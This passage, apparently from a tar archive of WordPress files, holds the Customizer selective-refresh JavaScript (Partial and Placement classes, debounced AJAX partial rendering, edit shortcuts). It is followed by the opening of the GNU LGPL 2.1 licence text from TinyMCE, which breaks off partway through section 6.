Partial. * * A partial provides a rendering of one or more settings according to a template. * * @memberOf wp.customize.selectiveRefresh * * @see PHP class WP_Customize_Partial. * * @class * @augments wp.customize.Class * @since 4.5.0 */ Partial = self.Partial = api.Class.extend(/** @lends wp.customize.SelectiveRefresh.Partial.prototype */{ id: null, /** * Default params. * * @since 4.9.0 * @var {object} */ defaults: { selector: null, primarySetting: null, containerInclusive: false, fallbackRefresh: true // Note this needs to be false in a front-end editing context. }, /** * Constructor. * * @since 4.5.0 * * @param {string} id - Unique identifier for the partial instance. * @param {Object} options - Options hash for the partial instance. * @param {string} options.type - Type of partial (e.g. nav_menu, widget, etc) * @param {string} options.selector - jQuery selector to find the container element in the page. * @param {Array} options.settings - The IDs for the settings the partial relates to. * @param {string} options.primarySetting - The ID for the primary setting the partial renders. * @param {boolean} options.fallbackRefresh - Whether to refresh the entire preview in case of a partial refresh failure. * @param {Object} [options.params] - Deprecated wrapper for the above properties. */ initialize: function( id, options ) { var partial = this; options = options || {}; partial.id = id; partial.params = _.extend( { settings: [] }, partial.defaults, options.params || options ); partial.deferred = {}; partial.deferred.ready = $.Deferred(); partial.deferred.ready.done( function() { partial.ready(); } ); }, /** * Set up the partial. * * @since 4.5.0 */ ready: function() { var partial = this; _.each( partial.placements(), function( placement ) { $( placement.container ).attr( 'title', self.data.l10n.shiftClickToEdit ); partial.createEditShortcutForPlacement( placement ); } ); $( document ).on( 'click', partial.params.selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); _.each( partial.placements(), function( placement ) { if ( $( placement.container ).is( e.currentTarget ) ) { partial.showControl(); } } ); } ); }, /** * Create and show the edit shortcut for a given partial placement container. * * @since 4.7.0 * @access public * * @param {Placement} placement The placement container element. * @return {void} */ createEditShortcutForPlacement: function( placement ) { var partial = this, $shortcut, $placementContainer, illegalAncestorSelector, illegalContainerSelector; if ( ! placement.container ) { return; } $placementContainer = $( placement.container ); illegalAncestorSelector = 'head'; illegalContainerSelector = 'area, audio, base, bdi, bdo, br, button, canvas, col, colgroup, command, datalist, embed, head, hr, html, iframe, img, input, keygen, label, link, map, math, menu, meta, noscript, object, optgroup, option, param, progress, rp, rt, ruby, script, select, source, style, svg, table, tbody, textarea, tfoot, thead, title, tr, track, video, wbr'; if ( ! $placementContainer.length || $placementContainer.is( illegalContainerSelector ) || $placementContainer.closest( illegalAncestorSelector ).length ) { return; } $shortcut = partial.createEditShortcut(); $shortcut.on( 'click', function( event ) { event.preventDefault(); event.stopPropagation(); partial.showControl(); } ); partial.addEditShortcutToPlacement( placement, $shortcut ); }, /** * Add an edit shortcut to the placement container. * * @since 4.7.0 * @access public * * @param {Placement} placement The placement for the partial. * @param {jQuery} $editShortcut The shortcut element as a jQuery object. * @return {void} */ addEditShortcutToPlacement: function( placement, $editShortcut ) { var $placementContainer = $( placement.container ); $placementContainer.prepend( $editShortcut ); if ( ! $placementContainer.is( ':visible' ) || 'none' === $placementContainer.css( 'display' ) ) { $editShortcut.addClass( 'customize-partial-edit-shortcut-hidden' ); } }, /** * Return the unique class name for the edit shortcut button for this partial. * * @since 4.7.0 * @access public * * @return {string} Partial ID converted into a class name for use in shortcut. */ getEditShortcutClassName: function() { var partial = this, cleanId; cleanId = partial.id.replace( /]/g, '' ).replace( /\[/g, '-' ); return 'customize-partial-edit-shortcut-' + cleanId; }, /** * Return the appropriate translated string for the edit shortcut button. * * @since 4.7.0 * @access public * * @return {string} Tooltip for edit shortcut. */ getEditShortcutTitle: function() { var partial = this, l10n = self.data.l10n; switch ( partial.getType() ) { case 'widget': return l10n.clickEditWidget; case 'blogname': return l10n.clickEditTitle; case 'blogdescription': return l10n.clickEditTitle; case 'nav_menu': return l10n.clickEditMenu; default: return l10n.clickEditMisc; } }, /** * Return the type of this partial * * Will use `params.type` if set, but otherwise will try to infer type from settingId. * * @since 4.7.0 * @access public * * @return {string} Type of partial derived from type param or the related setting ID. */ getType: function() { var partial = this, settingId; settingId = partial.params.primarySetting || _.first( partial.settings() ) || 'unknown'; if ( partial.params.type ) { return partial.params.type; } if ( settingId.match( /^nav_menu_instance\[/ ) ) { return 'nav_menu'; } if ( settingId.match( /^widget_.+\[\d+]$/ ) ) { return 'widget'; } return settingId; }, /** * Create an edit shortcut button for this partial. * * @since 4.7.0 * @access public * * @return {jQuery} The edit shortcut button element. */ createEditShortcut: function() { var partial = this, shortcutTitle, $buttonContainer, $button, $image; shortcutTitle = partial.getEditShortcutTitle(); $buttonContainer = $( '<span>', { 'class': 'customize-partial-edit-shortcut ' + partial.getEditShortcutClassName() } ); $button = $( '<button>', { 'aria-label': shortcutTitle, 'title': shortcutTitle, 'class': 'customize-partial-edit-shortcut-button' } ); $image = $( '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg>' ); $button.append( $image ); $buttonContainer.append( $button ); return $buttonContainer; }, /** * Find all placements for this partial in the document. * * @since 4.5.0 * * @return {Array.<Placement>} */ placements: function() { var partial = this, selector; selector = partial.params.selector || ''; if ( selector ) { selector += ', '; } selector += '[data-customize-partial-id="' + partial.id + '"]'; // @todo Consider injecting customize-partial-id-${id} classnames instead. return $( selector ).map( function() { var container = $( this ), context; context = container.data( 'customize-partial-placement-context' ); if ( _.isString( context ) && '{' === context.substr( 0, 1 ) ) { throw new Error( 'context JSON parse error' ); } return new Placement( { partial: partial, container: container, context: context } ); } ).get(); }, /** * Get list of setting IDs related to this partial. * * @since 4.5.0 * * @return {string[]} */ settings: function() { var partial = this; if ( partial.params.settings && 0 !== partial.params.settings.length ) { return partial.params.settings; } else if ( partial.params.primarySetting ) { return [ partial.params.primarySetting ]; } else { return [ partial.id ]; } }, /** * Return whether the setting is related to the partial. * * @since 4.5.0 * * @param {wp.customize.Value|string} setting ID or object for setting. * @return {boolean} Whether the setting is related to the partial. */ isRelatedSetting: function( setting /*... newValue, oldValue */ ) { var partial = this; if ( _.isString( setting ) ) { setting = api( setting ); } if ( ! setting ) { return false; } return -1 !== _.indexOf( partial.settings(), setting.id ); }, /** * Show the control to modify this partial's setting(s). * * This may be overridden for inline editing. * * @since 4.5.0 */ showControl: function() { var partial = this, settingId = partial.params.primarySetting; if ( ! settingId ) { settingId = _.first( partial.settings() ); } if ( partial.getType() === 'nav_menu' ) { if ( partial.params.navMenuArgs.theme_location ) { settingId = 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']'; } else if ( partial.params.navMenuArgs.menu ) { settingId = 'nav_menu[' + String( partial.params.navMenuArgs.menu ) + ']'; } } api.preview.send( 'focus-control-for-setting', settingId ); }, /** * Prepare container for selective refresh. * * @since 4.5.0 * * @param {Placement} placement */ preparePlacement: function( placement ) { $( placement.container ).addClass( 'customize-partial-refreshing' ); }, /** * Reference to the pending promise returned from self.requestPartial(). * * @since 4.5.0 * @private */ _pendingRefreshPromise: null, /** * Request the new partial and render it into the placements. * * @since 4.5.0 * * @this {wp.customize.selectiveRefresh.Partial} * @return {jQuery.Promise} */ refresh: function() { var partial = this, refreshPromise; refreshPromise = self.requestPartial( partial ); if ( ! partial._pendingRefreshPromise ) { _.each( partial.placements(), function( placement ) { partial.preparePlacement( placement ); } ); refreshPromise.done( function( placements ) { _.each( placements, function( placement ) { partial.renderContent( placement ); } ); } ); refreshPromise.fail( function( data, placements ) { partial.fallback( data, placements ); } ); // Allow new request when this one finishes. partial._pendingRefreshPromise = refreshPromise; refreshPromise.always( function() { partial._pendingRefreshPromise = null; } ); } return refreshPromise; }, /** * Apply the addedContent in the placement to the document. * * Note the placement object will have its container and removedNodes * properties updated. * * @since 4.5.0 * * @param {Placement} placement * @param {Element|jQuery} [placement.container] - This param will be empty if there was no element matching the selector. * @param {string|Object|boolean} placement.addedContent - Rendered HTML content, a data object for JS templates to render, or false if no render. * @param {Object} [placement.context] - Optional context information about the container. * @return {boolean} Whether the rendering was successful and the fallback was not invoked. */ renderContent: function( placement ) { var partial = this, content, newContainerElement; if ( ! placement.container ) { partial.fallback( new Error( 'no_container' ), [ placement ] ); return false; } placement.container = $( placement.container ); if ( false === placement.addedContent ) { partial.fallback( new Error( 'missing_render' ), [ placement ] ); return false; } // Currently a subclass needs to override renderContent to handle partials returning data object. if ( ! _.isString( placement.addedContent ) ) { partial.fallback( new Error( 'non_string_content' ), [ placement ] ); return false; } /* jshint ignore:start */ self.originalDocumentWrite = document.write; document.write = function() { throw new Error( self.data.l10n.badDocumentWrite ); }; /* jshint ignore:end */ try { content = placement.addedContent; if ( wp.emoji && wp.emoji.parse && ! $.contains( document.head, placement.container[0] ) ) { content = wp.emoji.parse( content ); } if ( partial.params.containerInclusive ) { // Note that content may be an empty string, and in this case jQuery will just remove the oldContainer. newContainerElement = $( content ); // Merge the new context on top of the old context. placement.context = _.extend( placement.context, newContainerElement.data( 'customize-partial-placement-context' ) || {} ); newContainerElement.data( 'customize-partial-placement-context', placement.context ); placement.removedNodes = placement.container; placement.container = newContainerElement; placement.removedNodes.replaceWith( placement.container ); placement.container.attr( 'title', self.data.l10n.shiftClickToEdit ); } else { placement.removedNodes = document.createDocumentFragment(); while ( placement.container[0].firstChild ) { placement.removedNodes.appendChild( placement.container[0].firstChild ); } placement.container.html( content ); } placement.container.removeClass( 'customize-render-content-error' ); } catch ( error ) { if ( 'undefined' !== typeof console && console.error ) { console.error( partial.id, error ); } partial.fallback( error, [ placement ] ); } /* jshint ignore:start */ document.write = self.originalDocumentWrite; self.originalDocumentWrite = null; /* jshint ignore:end */ partial.createEditShortcutForPlacement( placement ); placement.container.removeClass( 'customize-partial-refreshing' ); // Prevent placement container from being re-triggered as being rendered among nested partials. placement.container.data( 'customize-partial-content-rendered', true ); /* * Note that the 'wp_audio_shortcode_library' and 'wp_video_shortcode_library' filters * will determine whether or not wp.mediaelement is loaded and whether it will * initialize audio and video respectively. See also https://core.trac.wordpress.org/ticket/40144 */ if ( wp.mediaelement ) { wp.mediaelement.initialize(); } if ( wp.playlist ) { wp.playlist.initialize(); } /** * Announce when a partial's placement has been rendered so that dynamic elements can be re-built. */ self.trigger( 'partial-content-rendered', placement ); return true; }, /** * Handle fail to render partial. * * The first argument is either the failing jqXHR or an Error object, and the second argument is the array of containers. * * @since 4.5.0 */ fallback: function() { var partial = this; if ( partial.params.fallbackRefresh ) { self.requestFullRefresh(); } } } ); /** * A Placement for a Partial. * * A partial placement is the actual physical representation of a partial for a given context. * It also may have information in relation to how a placement may have just changed. * The placement is conceptually similar to a DOM Range or MutationRecord. * * @memberOf wp.customize.selectiveRefresh * * @class Placement * @augments wp.customize.Class * @since 4.5.0 */ self.Placement = Placement = api.Class.extend(/** @lends wp.customize.selectiveRefresh.prototype */{ /** * The partial with which the container is associated. * * @param {wp.customize.selectiveRefresh.Partial} */ partial: null, /** * DOM element which contains the placement's contents. * * This will be null if the startNode and endNode do not point to the same * DOM element, such as in the case of a sidebar partial. * This container element itself will be replaced for partials that * have containerInclusive param defined as true. */ container: null, /** * DOM node for the initial boundary of the placement. * * This will normally be the same as endNode since most placements appear as elements. * This is primarily useful for widget sidebars which do not have intrinsic containers, but * for which an HTML comment is output before to mark the starting position. */ startNode: null, /** * DOM node for the terminal boundary of the placement. * * This will normally be the same as startNode since most placements appear as elements. * This is primarily useful for widget sidebars which do not have intrinsic containers, but * for which an HTML comment is output before to mark the ending position. */ endNode: null, /** * Context data. * * This provides information about the placement which is included in the request * in order to render the partial properly. * * @param {object} */ context: null, /** * The content for the partial when refreshed. * * @param {string} */ addedContent: null, /** * DOM node(s) removed when the partial is refreshed. * * If the partial is containerInclusive, then the removedNodes will be * the single Element that was the partial's former placement. If the * partial is not containerInclusive, then the removedNodes will be a * documentFragment containing the nodes removed. * * @param {Element|DocumentFragment} */ removedNodes: null, /** * Constructor. * * @since 4.5.0 * * @param {Object} args * @param {Partial} args.partial * @param {jQuery|Element} [args.container] * @param {Node} [args.startNode] * @param {Node} [args.endNode] * @param {Object} [args.context] * @param {string} [args.addedContent] * @param {jQuery|DocumentFragment} [args.removedNodes] */ initialize: function( args ) { var placement = this; args = _.extend( {}, args || {} ); if ( ! args.partial || ! args.partial.extended( Partial ) ) { throw new Error( 'Missing partial' ); } args.context = args.context || {}; if ( args.container ) { args.container = $( args.container ); } _.extend( placement, args ); } }); /** * Mapping of type names to Partial constructor subclasses. * * @since 4.5.0 * * @type {Object.<string, wp.customize.selectiveRefresh.Partial>} */ self.partialConstructor = {}; self.partial = new api.Values({ defaultConstructor: Partial }); /** * Get the POST vars for a Customizer preview request. * * @since 4.5.0 * @see wp.customize.previewer.query() * * @return {Object} */ self.getCustomizeQuery = function() { var dirtyCustomized = {}; api.each( function( value, key ) { if ( value._dirty ) { dirtyCustomized[ key ] = value(); } } ); return { wp_customize: 'on', nonce: api.settings.nonce.preview, customize_theme: api.settings.theme.stylesheet, customized: JSON.stringify( dirtyCustomized ), customize_changeset_uuid: api.settings.changeset.uuid }; }; /** * Currently-requested partials and their associated deferreds. * * @since 4.5.0 * @type {Object<string, { deferred: jQuery.Promise, partial: wp.customize.selectiveRefresh.Partial }>} */ self._pendingPartialRequests = {}; /** * Timeout ID for the current request, or null if no request is current. * * @since 4.5.0 * @type {number|null} * @private */ self._debouncedTimeoutId = null; /** * Current jqXHR for the request to the partials. * * @since 4.5.0 * @type {jQuery.jqXHR|null} * @private */ self._currentRequest = null; /** * Request full page refresh. * * When selective refresh is embedded in the context of front-end editing, this request * must fail or else changes will be lost, unless transactions are implemented. * * @since 4.5.0 */ self.requestFullRefresh = function() { api.preview.send( 'refresh' ); }; /** * Request a re-rendering of a partial. * * @since 4.5.0 * * @param {wp.customize.selectiveRefresh.Partial} partial * @return {jQuery.Promise} */ self.requestPartial = function( partial ) { var partialRequest; if ( self._debouncedTimeoutId ) { clearTimeout( self._debouncedTimeoutId ); self._debouncedTimeoutId = null; } if ( self._currentRequest ) { self._currentRequest.abort(); self._currentRequest = null; } partialRequest = self._pendingPartialRequests[ partial.id ]; if ( ! partialRequest || 'pending' !== partialRequest.deferred.state() ) { partialRequest = { deferred: $.Deferred(), partial: partial }; self._pendingPartialRequests[ partial.id ] = partialRequest; } // Prevent leaking partial into debounced timeout callback. partial = null; self._debouncedTimeoutId = setTimeout( function() { var data, partialPlacementContexts, partialsPlacements, request; self._debouncedTimeoutId = null; data = self.getCustomizeQuery(); /* * It is key that the containers be fetched exactly at the point of the request being * made, because the containers need to be mapped to responses by array indices. */ partialsPlacements = {}; partialPlacementContexts = {}; _.each( self._pendingPartialRequests, function( pending, partialId ) { partialsPlacements[ partialId ] = pending.partial.placements(); if ( ! self.partial.has( partialId ) ) { pending.deferred.rejectWith( pending.partial, [ new Error( 'partial_removed' ), partialsPlacements[ partialId ] ] ); } else { /* * Note that this may in fact be an empty array. In that case, it is the responsibility * of the Partial subclass instance to know where to inject the response, or else to * just issue a refresh (default behavior). The data being returned with each container * is the context information that may be needed to render certain partials, such as * the contained sidebar for rendering widgets or what the nav menu args are for a menu. */ partialPlacementContexts[ partialId ] = _.map( partialsPlacements[ partialId ], function( placement ) { return placement.context || {}; } ); } } ); data.partials = JSON.stringify( partialPlacementContexts ); data[ self.data.renderQueryVar ] = '1'; request = self._currentRequest = wp.ajax.send( null, { data: data, url: api.settings.url.self } ); request.done( function( data ) { /** * Announce the data returned from a request to render partials. * * The data is filtered on the server via customize_render_partials_response * so plugins can inject data from the server to be utilized * on the client via this event. Plugins may use this filter * to communicate script and style dependencies that need to get * injected into the page to support the rendered partials. * This is similar to the 'saved' event. */ self.trigger( 'render-partials-response', data ); // Relay errors (warnings) captured during rendering and relay to console. if ( data.errors && 'undefined' !== typeof console && console.warn ) { _.each( data.errors, function( error ) { console.warn( error ); } ); } /* * Note that data is an array of items that correspond to the array of * containers that were submitted in the request. So we zip up the * array of containers with the array of contents for those containers, * and send them into . */ _.each( self._pendingPartialRequests, function( pending, partialId ) { var placementsContents; if ( ! _.isArray( data.contents[ partialId ] ) ) { pending.deferred.rejectWith( pending.partial, [ new Error( 'unrecognized_partial' ), partialsPlacements[ partialId ] ] ); } else { placementsContents = _.map( data.contents[ partialId ], function( content, i ) { var partialPlacement = partialsPlacements[ partialId ][ i ]; if ( partialPlacement ) { partialPlacement.addedContent = content; } else { partialPlacement = new Placement( { partial: pending.partial, addedContent: content } ); } return partialPlacement; } ); pending.deferred.resolveWith( pending.partial, [ placementsContents ] ); } } ); self._pendingPartialRequests = {}; } ); request.fail( function( data, statusText ) { /* * Ignore failures caused by partial.currentRequest.abort() * The pending deferreds will remain in self._pendingPartialRequests * for re-use with the next request. */ if ( 'abort' === statusText ) { return; } _.each( self._pendingPartialRequests, function( pending, partialId ) { pending.deferred.rejectWith( pending.partial, [ data, partialsPlacements[ partialId ] ] ); } ); self._pendingPartialRequests = {}; } ); }, api.settings.timeouts.selectiveRefresh ); return partialRequest.deferred.promise(); }; /** * Add partials for any nav menu container elements in the document. * * This method may be called multiple times. Containers that already have been * seen will be skipped. * * @since 4.5.0 * * @param {jQuery|HTMLElement} [rootElement] * @param {object} [options] * @param {boolean=true} [options.triggerRendered] */ self.addPartials = function( rootElement, options ) { var containerElements; if ( ! rootElement ) { rootElement = document.documentElement; } rootElement = $( rootElement ); options = _.extend( { triggerRendered: true }, options || {} ); containerElements = rootElement.find( '[data-customize-partial-id]' ); if ( rootElement.is( '[data-customize-partial-id]' ) ) { containerElements = containerElements.add( rootElement ); } containerElements.each( function() { var containerElement = $( this ), partial, placement, id, Constructor, partialOptions, containerContext; id = containerElement.data( 'customize-partial-id' ); if ( ! id ) { return; } containerContext = containerElement.data( 'customize-partial-placement-context' ) || {}; partial = self.partial( id ); if ( ! partial ) { partialOptions = containerElement.data( 'customize-partial-options' ) || {}; partialOptions.constructingContainerContext = containerElement.data( 'customize-partial-placement-context' ) || {}; Constructor = self.partialConstructor[ containerElement.data( 'customize-partial-type' ) ] || self.Partial; partial = new Constructor( id, partialOptions ); self.partial.add( partial ); } /* * Only trigger renders on (nested) partials that have been not been * handled yet. An example where this would apply is a nav menu * embedded inside of a navigation menu widget. When the widget's title * is updated, the entire widget will re-render and then the event * will be triggered for the nested nav menu to do any initialization. */ if ( options.triggerRendered && ! containerElement.data( 'customize-partial-content-rendered' ) ) { placement = new Placement( { partial: partial, context: containerContext, container: containerElement } ); $( placement.container ).attr( 'title', self.data.l10n.shiftClickToEdit ); partial.createEditShortcutForPlacement( placement ); /** * Announce when a partial's nested placement has been re-rendered. */ self.trigger( 'partial-content-rendered', placement ); } containerElement.data( 'customize-partial-content-rendered', true ); } ); }; api.bind( 'preview-ready', function() { var handleSettingChange, watchSettingChange, unwatchSettingChange; _.extend( self.data, _customizePartialRefreshExports ); // Create the partial JS models. _.each( self.data.partials, function( data, id ) { var Constructor, partial = self.partial( id ); if ( ! partial ) { Constructor = self.partialConstructor[ data.type ] || self.Partial; partial = new Constructor( id, _.extend( { params: data }, data ) // Inclusion of params alias is for back-compat for custom partials that expect to augment this property. ); self.partial.add( partial ); } else { _.extend( partial.params, data ); } } ); /** * Handle change to a setting. * * Note this is largely needed because adding a 'change' event handler to wp.customize * will only include the changed setting object as an argument, not including the * new value or the old value. * * @since 4.5.0 * @this {wp.customize.Setting} * * @param {*|null} newValue New value, or null if the setting was just removed. * @param {*|null} oldValue Old value, or null if the setting was just added. */ handleSettingChange = function( newValue, oldValue ) { var setting = this; self.partial.each( function( partial ) { if ( partial.isRelatedSetting( setting, newValue, oldValue ) ) { partial.refresh(); } } ); }; /** * Trigger the initial change for the added setting, and watch for changes. * * @since 4.5.0 * @this {wp.customize.Values} * * @param {wp.customize.Setting} setting */ watchSettingChange = function( setting ) { handleSettingChange.call( setting, setting(), null ); setting.bind( handleSettingChange ); }; /** * Trigger the final change for the removed setting, and unwatch for changes. * * @since 4.5.0 * @this {wp.customize.Values} * * @param {wp.customize.Setting} setting */ unwatchSettingChange = function( setting ) { handleSettingChange.call( setting, null, setting() ); setting.unbind( handleSettingChange ); }; api.bind( 'add', watchSettingChange ); api.bind( 'remove', unwatchSettingChange ); api.each( function( setting ) { setting.bind( handleSettingChange ); } ); // Add (dynamic) initial partials that are declared via data-* attributes. self.addPartials( document.documentElement, { triggerRendered: false } ); // Add new dynamic partials when the document changes. if ( 'undefined' !== typeof MutationObserver ) { self.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { self.addPartials( $( mutation.target ) ); } ); } ); self.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } /** * Handle rendering of partials. * * @param {api.selectiveRefresh.Placement} placement */ api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { if ( placement.container ) { self.addPartials( placement.container ); } } ); /** * Handle setting validities in partial refresh response. * * @param {object} data Response data. * @param {object} data.setting_validities Setting validities. */ api.selectiveRefresh.bind( 'render-partials-response', function handleSettingValiditiesResponse( data ) { if ( data.setting_validities ) { api.preview.send( 'selective-refresh-setting-validities', data.setting_validities ); } } ); api.preview.bind( 'edit-shortcut-visibility', function( visibility ) { api.selectiveRefresh.editShortcutVisibility.set( visibility ); } ); api.selectiveRefresh.editShortcutVisibility.bind( function( visibility ) { var body = $( document.body ), shouldAnimateHide; shouldAnimateHide = ( 'hidden' === visibility && body.hasClass( 'customize-partial-edit-shortcuts-shown' ) && ! body.hasClass( 'customize-partial-edit-shortcuts-hidden' ) ); body.toggleClass( 'customize-partial-edit-shortcuts-hidden', shouldAnimateHide ); body.toggleClass( 'customize-partial-edit-shortcuts-shown', 'visible' === visibility ); } ); api.preview.bind( 'active', function() { // Make all partials ready. self.partial.each( function( partial ) { partial.deferred.ready.resolve(); } ); // Make all partials added henceforth as ready upon add. self.partial.bind( 'add', function( partial ) { partial.deferred.ready.resolve(); } ); } ); } ); return self; }( jQuery, wp.customize ) ); tinymce/license.txt 0000644 00000063511 15111757755 0010423 0 ustar 00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the 